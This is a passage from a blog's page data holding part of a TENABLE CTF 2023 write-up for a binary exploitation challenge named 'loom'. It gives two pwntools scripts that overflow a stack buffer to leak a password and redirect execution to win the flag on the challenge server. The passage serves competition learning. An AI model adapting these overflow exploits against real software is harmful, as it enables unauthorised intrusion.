url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAABlElEQVQozzWN227aQABE/dd9QVVAoFYqFBuwBaj0oYkvfFCkNlURJDXgK2BjHMN6T5eErnQ0uzOjWU0IQRQm+P5f4qQkSSCJJfsDXDN/nVFLiZQ1eR6w3a4VAXtV2O02HI8pp90rRVxwyko0cRFs/IDVckkYlKqsBiNAqsFKsFrteTvXwcwnjn5yPmfczP8RUqhPa4lWXSr8zYbFcsEmyAkiSZQIykvNRVYsXxKq+kyNIIyP/Hras95WHPKabSg4luItE/IdbVzYmNm94gdW9oCV21hHm0l6jxW7GLHNKPEYHx3V8TDSOcO9q7oOg6vmDpPyxslB62QmrcigGfRpJSbNcEozntL6Y9F4mvLh9zcazzNaqcWnXY9W2ONu26MZ6XTiLu2kTzs06QQj2vEQTS9GtBaf+fh4R3tl8SWd8fUwpl9MGFQjGo8G3f2I4cXCyHW6aqCb6vQOA/RMxygGGAeVpaZ6m2hOZTMLZkxexnyPXJxqzlzaeLWD/eoyfn5QnosnXFzh4UmPea20Vt5VhXu7v/MP4aXf/tEXYgYAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/2b5693739a58da72633408a026a2013b/8ac56/image-20230812002454419.webp 240w,\n/static/2b5693739a58da72633408a026a2013b/d3be9/image-20230812002454419.webp 480w,\n/static/2b5693739a58da72633408a026a2013b/1c5aa/image-20230812002454419.webp 524w\"\n              sizes=\"(max-width: 524px) 100vw, 524px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/2b5693739a58da72633408a026a2013b/8ff5a/image-20230812002454419.png 240w,\n/static/2b5693739a58da72633408a026a2013b/e85cb/image-20230812002454419.png 480w,\n/static/2b5693739a58da72633408a026a2013b/664c8/image-20230812002454419.png 524w\"\n            sizes=\"(max-width: 524px) 100vw, 524px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/2b5693739a58da72633408a026a2013b/664c8/image-20230812002454419.png\"\n            alt=\"image-20230812002454419\"\n            title=\"image-20230812002454419\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>At that point, although exceeding 0x100 prevents the buffer itself from being corrupted, the local stack BoF at the <code class=\"language-text\">fgets</code> stage still makes it possible to manipulate the return value.</p>\n<p>Therefore, by embedding the password address in the return value there, it becomes possible to leak the password when option 2 is called.</p>\n<p>In fact, I was able to leak the password with the following code.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">from</span> pwn <span class=\"token keyword\">import</span> <span class=\"token operator\">*</span>\n<span class=\"token keyword\">import</span> binascii\n<span class=\"token keyword\">import</span> time\n\nelf <span class=\"token operator\">=</span> ELF<span class=\"token punctuation\">(</span><span class=\"token string\">\"./loom\"</span><span class=\"token punctuation\">)</span>\ncontext<span class=\"token punctuation\">.</span>binary <span class=\"token operator\">=</span> elf\n\n<span class=\"token comment\"># Remote</span>\np <span class=\"token operator\">=</span> remote<span class=\"token punctuation\">(</span><span class=\"token string\">\"0.cloud.chals.io\"</span><span class=\"token punctuation\">,</span> <span class=\"token number\">33616</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\"># p = process(\"./loom\")</span>\n\npayload <span class=\"token operator\">=</span> <span class=\"token string\">b\"A\"</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token number\">280</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0x40232a</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\nr <span class=\"token operator\">=</span> p<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">b\"4) leave\"</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\np<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span><span class=\"token string\">b\"1\"</span><span class=\"token punctuation\">)</span>\nr <span class=\"token operator\">=</span> p<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">b\"2) Leave\"</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\np<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span><span class=\"token string\">b\"1\"</span><span class=\"token punctuation\">)</span>\np<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span>payload<span class=\"token punctuation\">)</span>\n\nr <span class=\"token operator\">=</span> p<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">b\"4) leave\"</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\np<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span><span class=\"token string\">b\"2\"</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 800px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/4811668e47a409c293ee5fc5bf904ec7/5a190/image-20230812003455462.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 51.66666666666666%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAABRElEQVQoz42SWU/CQBSF58WASkQUI24RKGVvoYXSlrJUSoGAghDji///dxznDtoULJGHL/fMTHtyN7bWp/jqb7BUPKxUH/OKi1XDx4cxx/CxDTWeR/OsIGicSoE+BOtlNAzudeiJYvADmYR1+PyfOeukqmhdlGAkKyBNmNd1tJNlGJf87qomIn0jjONSYEZx35jNSgNs9Bmmck+Uu9YmWKpjoRfVF7zVR1wPxXnw0MIoa8JOK4cz9KUuZsU+Rs8mJgUHvuQE5e9noCXk4E2J5f5A98zJNOHccnjs3Wnoc+wblaOITKx9eDsoivcdVNEWRqVuM+sKSLt8utQ3O638mEdxwNDLWbxXrjAi819jopOqoX6ShRrLR5YYWTINZLuHY7F/NIj35gSf5ivcJ2NnD4+BUc+8rMXTLW8bfy4Hgwjv5rF8AwMNJMwAmGlGAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/4811668e47a409c293ee5fc5bf904ec7/8ac56/image-20230812003455462.webp 240w,\n/static/4811668e47a409c293ee5fc5bf904ec7/d3be9/image-20230812003455462.webp 480w,\n/static/4811668e47a409c293ee5fc5bf904ec7/d00b9/image-20230812003455462.webp 800w\"\n              sizes=\"(max-width: 800px) 100vw, 800px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/4811668e47a409c293ee5fc5bf904ec7/8ff5a/image-20230812003455462.png 240w,\n/static/4811668e47a409c293ee5fc5bf904ec7/e85cb/image-20230812003455462.png 480w,\n/static/4811668e47a409c293ee5fc5bf904ec7/5a190/image-20230812003455462.png 800w\"\n            sizes=\"(max-width: 800px) 100vw, 800px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/4811668e47a409c293ee5fc5bf904ec7/5a190/image-20230812003455462.png\"\n            alt=\"image-20230812003455462\"\n            title=\"image-20230812003455462\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>After that, I was able to obtain the flag by using the leaked password in the following solver.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">from</span> pwn <span class=\"token keyword\">import</span> <span class=\"token operator\">*</span>\n<span class=\"token keyword\">import</span> binascii\n<span class=\"token keyword\">import</span> time\n\nelf <span class=\"token operator\">=</span> ELF<span class=\"token punctuation\">(</span><span class=\"token string\">\"./loom\"</span><span class=\"token punctuation\">)</span>\ncontext<span class=\"token punctuation\">.</span>binary <span class=\"token operator\">=</span> elf\n\n<span class=\"token comment\"># Remote</span>\np <span class=\"token operator\">=</span> remote<span class=\"token punctuation\">(</span><span class=\"token string\">\"0.cloud.chals.io\"</span><span class=\"token punctuation\">,</span> <span class=\"token number\">33616</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\"># p = process(\"./loom\")</span>\n\n<span class=\"token comment\"># payload = b\"A\"*(280) + p64(0x40232a)</span>\npayload <span class=\"token operator\">=</span> <span class=\"token string\">b\"A\"</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token number\">152</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token string\">b'\\xb6\\x12@\\x00\\x00\\x00\\x00\\x00'</span>\n\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\nr <span class=\"token operator\">=</span> p<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">b\"4) leave\"</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\np<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span><span class=\"token string\">b\"1\"</span><span class=\"token punctuation\">)</span>\nr <span class=\"token operator\">=</span> p<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">b\"2) Leave\"</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\np<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span><span class=\"token string\">b\"1\"</span><span class=\"token punctuation\">)</span>\np<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span>payload<span class=\"token punctuation\">)</span>\n\nr <span class=\"token operator\">=</span> p<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">b\"4) leave\"</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\np<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span><span class=\"token string\">b\"3\"</span><span class=\"token punctuation\">)</span>\n\nr <span class=\"token operator\">=</span> p<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">b\"Speak the unpronouncable phrase to pass to the room of fates :\"</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\np<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span><span class=\"token string\">b\"QjVHST7M11cY7Ws6mXU1\"</span><span class=\"token punctuation\">)</span>\nr <span class=\"token operator\">=</span> p<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\nr <span class=\"token operator\">=</span> p<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">b\"2) No\"</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\np<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span><span class=\"token string\">b\"1\"</span><span class=\"token punctuation\">)</span>\n\np<span class=\"token punctuation\">.</span>interactive<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 672px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/ab4a583db2725d378a9db342b47bf2ce/30d16/image-20230812003640428.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 50%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAAByElEQVQoz11Sa1PaUBDNl2pbtc9prU4tbzQIISS8wyMEkEgEGaqtdvSD//9HHPcsXqbjhzO7d/fevXvOrrWsjHFdnWL0q4lprotxuo3eUQ2TbAf9Yw/Dn3WEJw1EqRaCQ1fv0FZ2Myi/SQnScHazKO+kFVZSGmF+NsTl6QAX+QBzO1TLgrHEZoWeFjHWxHiHvjnHxb7GrLU3w+PwBms/xt/2Ag+DNW4ac8Vv/xK3jQT3wQp/Wld6vu9e419vhZU7xdqLcddZ4k5i9MnUWjoTpeS+z6O2X0D1XQ7eQRH1j2dw3mY13vhka84/OEVtryA5W+/Q9/aLG0iOsGJ7pC0byuFJHZNMZ0uB/jQXaHED6lfZyWzsCxhnM1Yow+j9cFWzwbEvfm07mOCwqkNhnrHW1zL6R5tBUc9QLIfJXPNzaVOwLw8jCfCCdpPtIjkfYZxp65kDm0m3KrywiNIt9fkZixiQrhaMUs3tb1wNdpqUQjS/nKt23e9VdL45+og+u2wL+Nh5oWroUm8rki4WsovUMJGV4RpRP55Jxd3L6zD8DzIQEd9oyMevoR0+hbdYyrivhOaiHGlxUuOKzO2h6mV2jRJwsv8XeF30GaRnNvUtwqkjAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/ab4a583db2725d378a9db342b47bf2ce/8ac56/image-20230812003640428.webp 240w,\n/static/ab4a583db2725d378a9db342b47bf2ce/d3be9/image-20230812003640428.webp 480w,\n/static/ab4a583db2725d378a9db342b47bf2ce/0fa99/image-20230812003640428.webp 672w\"\n              sizes=\"(max-width: 672px) 100vw, 672px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/ab4a583db2725d378a9db342b47bf2ce/8ff5a/image-20230812003640428.png 240w,\n/static/ab4a583db2725d378a9db342b47bf2ce/e85cb/image-20230812003640428.png 480w,\n/static/ab4a583db2725d378a9db342b47bf2ce/30d16/image-20230812003640428.png 672w\"\n            sizes=\"(max-width: 672px) 100vw, 672px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/ab4a583db2725d378a9db342b47bf2ce/30d16/image-20230812003640428.png\"\n            alt=\"image-20230812003640428\"\n            title=\"image-20230812003640428\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>","fields":{"slug":"/ctf-tenable-ctf-2023-en","tagSlugs":["/tag/ctf-en/","/tag/rev-en/","/tag/pwn-en/","/tag/english/"]},"frontmatter":{"date":"2023-08-12","description":"Writeup for TENABLE CTF 2023.","tags":["CTF (en)","Rev (en)","Pwn (en)","English"],"title":"TENABLE CTF 2023 Writeup","socialImage":{"publicURL":"/static/d4d247b85168dab7ea947dbe95b6d532/ctf-tenable-ctf-2023.png"}}}},"pageContext":{"slug":"/ctf-tenable-ctf-2023-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}